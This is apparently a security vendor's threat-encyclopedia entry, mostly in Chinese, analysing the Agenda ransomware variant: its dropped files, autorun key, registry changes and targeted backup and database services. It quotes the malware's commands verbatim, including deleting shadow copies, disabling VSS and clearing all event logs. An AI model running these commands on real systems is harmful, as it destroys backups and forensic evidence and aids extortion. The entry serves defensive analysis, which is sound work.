Ransom.MSIL.AGENDA.THJCOBD

它以文件的形式出现在系统中，可能是其他恶意软件投放的，或者是用户在访问恶意网站时无意中下载的。

它开始执行然后再删除。

新病毒详细信息

它以文件的形式出现在系统中，可能是其他恶意软件投放的，或者是用户在访问恶意网站时无意中下载的。

安装

它添加下列文件夹：

• %User Temp%\QLOG

(注意: %User Temp% 是当前用户的 Temp 文件夹。通常位于 C:\Documents and Settings\{user name}\Local Settings\Temp (Windows 2000(32-bit)、XP 和 Server 2003(32-bit))、C:\Users\{user name}\AppData\Local\Temp (Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit) 和 10(64-bit)。)

它植入下列文件：

• %User Temp%\atx.bat → script to rename the first rh*.exe file it finds in the current folder to rh111.exe before executing it with specified arguments
• %User Temp%\QLOG\ThreadId({Number}).LOG → contains embedded configuration and execution logs
• %User Temp%\{Random Letters}.jpg → image used as desktop wallpaper

(注意: %User Temp% 是当前用户的 Temp 文件夹。通常位于 C:\Documents and Settings\{user name}\Local Settings\Temp (Windows 2000(32-bit)、XP 和 Server 2003(32-bit))、C:\Users\{user name}\AppData\Local\Temp (Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit) 和 10(64-bit)。)

它添加下列进程：

• cmd /c ""%User Temp%\atx.bat" "
• "cmd" /C fsutil behavior set SymlinkEvaluation R2R:1
• "cmd" /C fsutil behavior set SymlinkEvaluation R2L:1
• "cmd" /C net use
• "cmd" /C wmic service where name='vss' call ChangeStartMode Manual
• "cmd" /C net start vss
• "cmd" /C vssadmin.exe delete shadows /all /quiet
• "cmd" /C net stop vss
• "cmd" /C wmic service where name='vss' call ChangeStartMode Disabled
• "powershell" $logs = Get-WinEvent -ListLog * | Where-Object {$_.RecordCount} | Select-Object -ExpandProperty LogName ; ForEach ( $l in $logs | Sort | Get-Unique ) {[System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($l)} - clears all event logs
• "powershell" -Command "Import-Module ActiveDirectory ; Get-ADComputer -Filter * | Select-Object -ExpandProperty DNSHostName"
• "powershell" -Command "ServerManagerCmd.exe -i RSAT-AD-PowerShell ; Install-WindowsFeature RSAT-AD-PowerShell ; Add-WindowsCapability -Online -Name 'RSAT.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0'"
• "reg.exe" QUERY "HKEY_USERS"
• "powershell" -Command "Set-ItemProperty -Path 'Registry::HKEY_USERS\.DEFAULT\Control Panel\Desktop' -Name Wallpaper -Value '%User Temp%\{Random Letters}.jpg'"
• "powershell" -Command "Set-ItemProperty -Path 'Registry::HKEY_USERS\{LOCAL SERVICE SID}\Control Panel\Desktop' -Name Wallpaper -Value '%User Temp%\{Random Letters}.jpg'"
• "powershell" -Command "Set-ItemProperty -Path 'Registry::HKEY_USERS\{NETWORK SERVICE SID}\Control Panel\Desktop' -Name Wallpaper -Value '%User Temp%\{Random Letters}.jpg'"
• "powershell" -Command "Set-ItemProperty -Path 'Registry::HKEY_USERS\{USER SID}\Control Panel\Desktop' -Name Wallpaper -Value '%User Temp%\{Random Letters}.jpg'"
• "powershell" -Command "Set-ItemProperty -Path 'Registry::HKEY_USERS\{USER CLSID}\Control Panel\Desktop' -Name Wallpaper -Value '%User Temp%\{Random Letters}.jpg'"
• "powershell" -Command "Set-ItemProperty -Path 'Registry::HKEY_USERS\{SYSTEM SID}\Control Panel\Desktop' -Name Wallpaper -Value '%User Temp%\{Random Letters}.jpg'"
• "powershell" -Command " REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Personalization /f ; REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Personalization /v LockScreenImagePath /t REG_SZ /d '%User Temp%\{Random Letters}.jpg' /f ; REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Personalization /v LockScreenImageUrl /t REG_SZ /d '%User Temp%\{Random Letters}.jpg' /f ; REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Personalization /v LockScreenImageStatus /t REG_DWORD /d 1 /f ; REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /f ; REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImagePath /t REG_SZ /d '%User Temp%\{Random Letters}.jpg' /f ; REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImageUrl /t REG_SZ /d '%User Temp%\{Random Letters}.jpg' /f ; REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImageStatus /t REG_DWORD /d 1 /f
• "%System%\reg.exe" ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Personalization /f
• "%System%\reg.exe" ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Personalization /v LockScreenImagePath /t REG_SZ /d %User Temp%\{Random Letters}.jpg /f
• "%System%\reg.exe" ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Personalization /v LockScreenImageUrl /t REG_SZ /d %User Temp%\{Random Letters}.jpg /f
• "%System%\reg.exe" ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Personalization /v LockScreenImageStatus /t REG_DWORD /d 1 /f
• "%System%\reg.exe" ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /f
• "%System%\reg.exe" ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImagePath /t REG_SZ /d %User Temp%\{Random Letters}.jpg /f
• "%System%\reg.exe" ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImageUrl /t REG_SZ /d %User Temp%\{Random Letters}.jpg /f
• "%System%\reg.exe" ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /v LockScreenImageStatus /t REG_DWORD /d 1 /f
• "cmd" /C timeout /T 10 & Del "{Malware Path}\{Malware Filename}"

(注意: %User Temp% 是当前用户的 Temp 文件夹。通常位于 C:\Documents and Settings\{user name}\Local Settings\Temp (Windows 2000(32-bit)、XP 和 Server 2003(32-bit))、C:\Users\{user name}\AppData\Local\Temp (Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit) 和 10(64-bit)。. %System% 是 Windows 的 system 文件夹，通常位于 C:\Windows\System (Windows 98 和 ME)、C:\WINNT\System32 (Windows NT 和 2000) 和 C:\WINDOWS\system32 (Windows 2000(32-bit)、XP、Server 2003(32-bit)、Vista、7、8、8.1、2008(64-bit),2012(64bit) 和 10(64-bit))。)

它开始执行然后再删除。

它添加下列互斥条目，确保一次只会运行一个副本：

• 32bcf09497d3a5a77fcea9740d3bd2b2c70760cfe3aef8b4c819adb509434ead

自启动技术

它添加下列注册表项，在系统每次启动时自行执行：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
*{Random Letters} = "{Malware Path}\{Malware Filename}" --password {Password} --no-admin

其他系统修改

它修改下列注册表项：

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\FileSystem
SymlinkRemoteToLocalEvaluation = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\FileSystem
SymlinkRemoteToRemoteEvaluation = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
EnableLinkedConnections = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\LanmanServer\Parameters
MaxMpxCt = 65535

(Note: The default value data of the said registry entry is {Default Value}.)

它通过修改下列注册表项，更改桌面壁纸：

HKEY_CURRENT_USERS\Control Panel\Desktop
Wallpaper = %User Temp%\{Random Letters}.jpg

(Note: The default value data of the said registry entry is {Default Image}.)

HKEY_USERS\.DEFAULT\Control Panel\
Desktop
Wallpaper = %User Temp%\{Random Letters}.jpg

(Note: The default value data of the said registry entry is {Default Image}.)

HKEY_USERS\{LOCAL SERVICE SID}\Control Panel\
Desktop
Wallpaper = %User Temp%\{Random Letters}.jpg

(Note: The default value data of the said registry entry is {Default Image}.)

HKEY_USERS\{NETWORK SERVICE SID}\Control Panel\
Desktop
Wallpaper = %User Temp%\{Random Letters}.jpg

(Note: The default value data of the said registry entry is {Default Image}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Personalization
LockScreenImagePath = %User Temp%\{Random Letters}.jpg

(Note: The default value data of the said registry entry is {Default Image Path}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Personalization
LockScreenImageUrl = %User Temp%\{Random Letters}.jpg

(Note: The default value data of the said registry entry is {Default Image URL}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Personalization
LockScreenImageStatus = 1

(Note: The default value data of the said registry entry is {Default Value}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\PersonalizationCSP
LockScreenImagePath = %User Temp%\{Random Letters}.jpg

(Note: The default value data of the said registry entry is {Default Image Path}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\PersonalizationCSP
LockScreenImageUrl = %User Temp%\{Random Letters}.jpg

(Note: The default value data of the said registry entry is {Default Image URL}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\PersonalizationCSP
LockScreenImageStatus = 1

(Note: The default value data of the said registry entry is {Default Value}.)

它将系统的桌面壁纸设置为下列图像：

进程终止

它终止在受感染的系统上运行的下列服务：

• (.*?)sql(.*?)
• acronisagent
• acrsch2svc
• backup
• backupexecagentaccelerator
• backupexecagentbrowser
• backupexecdivecimediaservice
• backupexecjobengine
• backupexecmanagementservice
• backupexecrpcservice
• backupexecvssprovider
• gxblr
• gxcimgr
• gxclmgrs
• gxcvd
• gxfwd
• gxmmm
• gxvss
• gxvsshwprov
• memtas
• mepocs
• msexchange
• msexchange\$
• mvarmor
• mvarmor64
• pdvfsservice
• qbcfmonitorservice
• qbdbmgrn
• qbidpservice
• sap
• sap\$
• sapd\$
• saphostcontrol
• saphostexec
• sapservice
• sophos
• sql
• veeam
• veeamdeploymentservice
• veeamnfssvc
• veeamtransportsvc
• vsnapvss
• vss
• wsbexchange

它终止在受感染的系统内存中运行的下列进程：

• agntsvc
• avagent
• avscc
• bedbh
• benetns
• bengien
• beserver
• cagservice
• cvd
• cvfwd
• cvmountd
• cvods
• dbeng50
• dbsnmp
• dellsystemdetect
• encsvc
• enterpriseclient
• excel
• firefox
• infopath
• isqlplussvc
• msaccess
• mspub
• mvdesktopservice
• mydesktopqos
• mydesktopservice
• notepad
• ocautoupds
• ocomm
• ocssd
• onenote
• oracle
• outlook
• powerpnt
• pvlsvr
• qbcfmonitorservice
• qbdbmgrn
• qbidpservice
• raw_agent_svc
• sap
• saphostexec
• saposcol
• sapstartsrv
• sqbcoreservice
• sql
• steam
• synctime
• tbirdconfig
• teamviewer
• teamviewer_service
• thebat
• thunderbird
• tv_w32
• tv_x64
• veeamdeploymentsvc
• veeamnfssvc
• veeamtransportsvc
• visio
• vmcompute
• vmwp
• vsnapvss
• vxmon
• winword
• wordpad
• xfssvccon

其他详细信息

该程序执行以下操作：

• It enables the following privileges to allow access to restricted actions in the system:
  • SeDebugPrivilege
  • SeImpersonatePrivilege
  • SeIncreaseBasePriorityPrivilege
• It creates the following named pipe:
  • \.\pipe\__rust_anonymous_pipe1__.3860.{Number Count}
• It repeatedly clears all event logs in the system.
• It retrieves the DNS hostnames of all computers in an Active Directory domain before encrypting them.
• It deletes all shadow copies and disables automatic startup of Volume Shadow Copy Service